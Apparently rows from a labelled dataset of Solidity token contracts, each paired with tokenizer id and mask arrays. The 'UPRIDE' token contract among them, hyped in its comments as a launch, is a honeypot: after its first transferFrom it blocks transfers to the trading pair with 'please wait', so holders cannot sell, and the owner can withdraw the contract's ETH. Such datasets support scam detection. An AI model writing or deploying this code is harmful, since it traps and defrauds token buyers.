------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public override view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public override returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public override returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public override returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public override view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ // function () external payable { // revert(); // } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5890, 1011, 2423, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 1043, 21693, 18715, 2368, 1005, 19204, 3206, 1013, 1013, 1013, 1013, 7333, 2000, 1024, 1014, 2595, 7959, 2497, 2692, 2475, 2094, 2683, 22025, 2509, 2278, 26224, 2050, 2620, 24434, 2509, 2546, 2620, 2620, 2063, 2620, 2475, 15878, 3401, 27421, 24087, 2509, 2278, 15136, 24434, 29292, 1013, 1013, 6454, 1024, 3103, 2072, 1013, 1013, 2171, 1024, 3103, 4183, 1013, 1013, 2561, 4425, 1024, 11910, 8889, 2692, 1013, 1013, 26066, 2015, 1024, 2324, 1013, 1013, 1013, 1013, 5959, 1012, 1013, 1013, 1013, 1013, 1006, 1039, 1007, 2011, 6289, 2072, 8545, 2006, 6672, 25987, 2072, 10113, 1012, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 3647, 8785, 2015, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 4215, 2094, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 1065, 3853, 3647, 6342, 2497, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity 0.6.9; pragma experimental ABIEncoderV2; struct Account { uint256 etherBalance; TokenBalance[] tokenBalances; } struct TokenBalance { bool callSuccess; uint256 balance; } interface ERC20Interface { function balanceOf(address account) external view returns (uint256 balance); } interface AccountWatcherInterface { function balancesOf( ERC20Interface[] calldata tokens, address[] calldata accounts ) external view returns (Account[] memory accountBalances); } /// Quickly check the Ether balance, as well as the balance of each /// supplied ERC20 token, for a collection of accounts. /// @author 0age contract AccountWatcherV2 is AccountWatcherInterface { function balancesOf( ERC20Interface[] calldata tokens, address[] calldata accounts ) external view override returns (Account[] memory) { Account[] memory accountBalances = new Account[](accounts.length); for (uint256 i = 0; i < accounts.length; i++) { address account = accounts[i]; TokenBalance[] memory tokenBalances = new TokenBalance[](tokens.length); for (uint256 j = 0; j < tokens.length; j++) { ERC20Interface token = tokens[j]; (bool success, bytes memory returnData) = address(token).staticcall( abi.encodeWithSelector(token.balanceOf.selector, account) ); if (success && returnData.length >= 32) { TokenBalance memory tokenBalance; tokenBalance.callSuccess = true; tokenBalance.balance = abi.decode(returnData, (uint256)); tokenBalances[j] = tokenBalance; } } accountBalances[i].etherBalance = account.balance; accountBalances[i].tokenBalances = tokenBalances; } return accountBalances; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1023, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 2358, 6820, 6593, 4070, 1063, 21318, 3372, 17788, 2575, 28855, 26657, 1025, 19204, 26657, 1031, 1033, 19204, 26657, 2015, 1025, 1065, 2358, 6820, 6593, 19204, 26657, 1063, 22017, 2140, 4455, 14194, 9623, 2015, 1025, 21318, 3372, 17788, 2575, 5703, 1025, 1065, 8278, 9413, 2278, 11387, 18447, 2121, 12172, 1063, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 1065, 8278, 4070, 18866, 23282, 3334, 12172, 1063, 3853, 5703, 6499, 2546, 1006, 9413, 2278, 11387, 18447, 2121, 12172, 1031, 1033, 2655, 2850, 2696, 19204, 2015, 1010, 4769, 1031, 1033, 2655, 2850, 2696, 6115, 1007, 6327, 3193, 5651, 1006, 4070, 1031, 1033, 3638, 4070, 26657, 2015, 1007, 1025, 1065, 1013, 1013, 1013, 2855, 4638, 1996, 28855, 5703, 1010, 2004, 2092, 2004, 1996, 5703, 1997, 2169, 1013, 1013, 1013, 8127, 9413, 2278, 11387, 19204, 1010, 2005, 1037, 3074, 1997, 6115, 1012, 1013, 1013, 1013, 1030, 3166, 1014, 4270, 3206, 4070, 18866, 2121, 2615, 2475, 2003, 4070, 18866, 23282, 3334, 12172, 1063, 3853, 5703, 6499, 2546, 1006, 9413, 2278, 11387, 18447, 2121, 12172, 1031, 1033, 2655, 2850, 2696, 19204, 2015, 1010, 4769, 1031, 1033, 2655, 2850, 2696, 6115, 1007, 6327, 3193, 2058, 15637, 5651, 1006, 4070, 1031, 1033, 3638, 1007, 1063, 4070, 1031, 1033, 3638, 4070, 26657, 2015, 1027, 2047, 4070, 1031, 1033, 1006, 6115, 1012, 3091, 1007, 1025, 2005, 1006, 21318, 3372, 17788, 2575, 1045, 1027, 1014, 1025, 1045, 1026, 6115, 1012, 3091, 1025, 1045, 1009, 1009, 1007, 1063, 4769, 4070, 1027, 6115, 1031, 1045, 1033, 1025, 19204, 26657, 1031, 1033, 3638, 19204, 26657, 2015, 1027, 2047, 19204, 26657, 1031, 1033, 1006, 19204, 2015, 1012, 3091, 1007, 1025, 2005, 1006, 21318, 3372, 17788, 2575, 1046, 1027, 1014, 1025, 1046, 1026, 19204, 2015, 1012, 3091, 1025, 1046, 1009, 1009, 1007, 1063, 9413, 2278, 11387, 18447, 2121, 12172, 19204, 1027, 19204, 2015, 1031, 1046, 1033, 1025, 1006, 22017, 2140, 3112, 1010, 27507, 3638, 2709, 2850, 2696, 1007, 1027, 4769, 1006, 19204, 1007, 1012, 10763, 9289, 2140, 1006, 11113, 2072, 1012, 4372, 16044, 24415, 11246, 22471, 2953, 1006, 19204, 1012, 5703, 11253, 1012, 27000, 1010, 4070, 1007, 1007, 1025, 2065, 1006, 3112, 1004, 1004, 2709, 2850, 2696, 1012, 3091, 1028, 1027, 3590, 1007, 1063, 19204, 26657, 3638, 19204, 26657, 1025, 19204, 26657, 1012, 4455, 14194, 9623, 2015, 1027, 2995, 1025, 19204, 26657, 1012, 5703, 1027, 11113, 2072, 1012, 21933, 3207, 1006, 2709, 2850, 2696, 1010, 1006, 21318, 3372, 17788, 2575, 1007, 1007, 1025, 19204, 26657, 2015, 1031, 1046, 1033, 1027, 19204, 26657, 1025, 1065, 1065, 4070, 26657, 2015, 1031, 1045, 1033, 1012, 28855, 26657, 1027, 4070, 1012, 5703, 1025, 4070, 26657, 2015, 1031, 1045, 1033, 1012, 19204, 26657, 2015, 1027, 19204, 26657, 2015, 1025, 1065, 2709, 4070, 26657, 2015, 1025, 1065, 1065, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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/** Submitted for verification at Etherscan.io on 2021-06-22 / //UPRIDE LAUCNH TODAY 90% UNISWAP LAUNCH //10% INITIAL BURN //DEFLATIONARY TOKENOMICS WITH CHARITY WALLET //CEX LISTING APPLIED //FOMO - ONCE NFT PLATFORM GOES LIVE pragma solidity >=0.5.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 \|\| c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } } contract BEP20Interface { function totalSupply() public view returns (uint256); function balanceOf(address tokenOwner) public view returns (uint256 balance); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom( address from, address to, uint256 tokens ) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval( address indexed tokenOwner, address indexed spender, uint256 tokens ); } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 tokens, address token, bytes memory data ) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenBEP20 is BEP20Interface, Owned { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; address public newun; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; constructor() public { symbol = "UPRIDE"; name = "UPRIDE"; decimals = 9; _totalSupply = 1000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint256) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint256 balance) { return balances[tokenOwner]; } function transfer(address to, uint256 tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom( address from, address to, uint256 tokens ) public returns (bool success) { if (from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint256 remaining) { return allowed[tokenOwner][spender]; } function approveAndCall( address spender, uint256 tokens, bytes memory data ) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval( msg.sender, tokens, address(this), data ); return true; } function() external payable { revert(); } } contract GokuToken is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable {} }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 2570, 1008, 1013, 1013, 1013, 2039, 15637, 21360, 2278, 25311, 2651, 3938, 1003, 4895, 2483, 4213, 2361, 4888, 1013, 1013, 2184, 1003, 3988, 6402, 1013, 1013, 13366, 13490, 5649, 19204, 25524, 2007, 5952, 15882, 1013, 1013, 8292, 2595, 10328, 4162, 1013, 1013, 1042, 19506, 1011, 2320, 1050, 6199, 4132, 3632, 2444, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 2459, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 1039, 1027, 1037, 1011, 1038, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 5478, 1006, 1038, 1028, 1014, 1007, 1025, 1039, 1027, 1037, 1013, 1038, 1025, 1065, 1065, 3206, 2022, 2361, 11387, 18447, 2121, 12172, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 19204, 12384, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 3853, 21447, 1006, 4769, 19204, 12384, 2121, 1010, 4769, 5247, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 3588, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 19204, 2015, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 19204, 2015, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 19204, 2015, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 19204, 2015, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 19204, 12384, 2121, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 19204, 2015, 1007, 1025, 1065, 3206, 14300, 5685, 9289, 10270, 8095, 5963, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 2013, 1010, 21318, 3372, 17788, 2575, 19204, 2015, 1010, 4769, 19204, 1010, 27507, 3638, 2951, 1007, 2270, 1025, 1065, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 4769, 2270, 2047, 12384, 2121, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 1035, 2013, 1010, 4769, 25331, 1035, 2000, 1007, 1025, 9570, 2953, 1006, 1007, 2270, 1063, 3954, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.14; /* Simpler version of ERC20 interface see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } / ERC20 interface see https://github.com/ethereum/EIPs/issues/20 / contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } / SafeMath - the lowest gas library Math operations with safety checks that throw on error / library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a b; assert(a == 0 \|\| c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /* Basic token Basic version of StandardToken, with no allowances. / contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } / Gets the balance of the specified address. param _owner The address to query the the balance of. return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } / Implementation of the basic standard token. https://github.com/ethereum/EIPs/issues/20 / contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; / Transfer tokens from one address to another param _from address The address which you want to send tokens from param _to address The address which you want to transfer to param _value uint256 the amout of tokens to be transfered / function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } / Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. param _spender The address which will spend the funds. param _value The amount of Roman Lanskoj's tokens to be spent. / function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) \|\| (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } / Function to check the amount of tokens that an owner allowed to a spender. param _owner address The address which owns the funds. param _spender address The address which will spend the funds. return A uint256 specifing the amount of tokens still available for the spender. / function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } / The Ownable contract has an owner address, and provides basic authorization control functions, this simplifies the implementation of "user permissions". / contract Ownable { address public owner; function Ownable() { owner = msg.sender; } / Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } / Allows the current owner to transfer control of the contract to a newOwner. param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract TheLiquidToken is StandardToken, Ownable { // mint can be finished and token become fixed for forever event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } / Function to stop minting new tokens. return True if the operation was successful. / function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Arbitrage is TheLiquidToken { string public constant name = "Arbitrage Coin"; string public constant symbol = 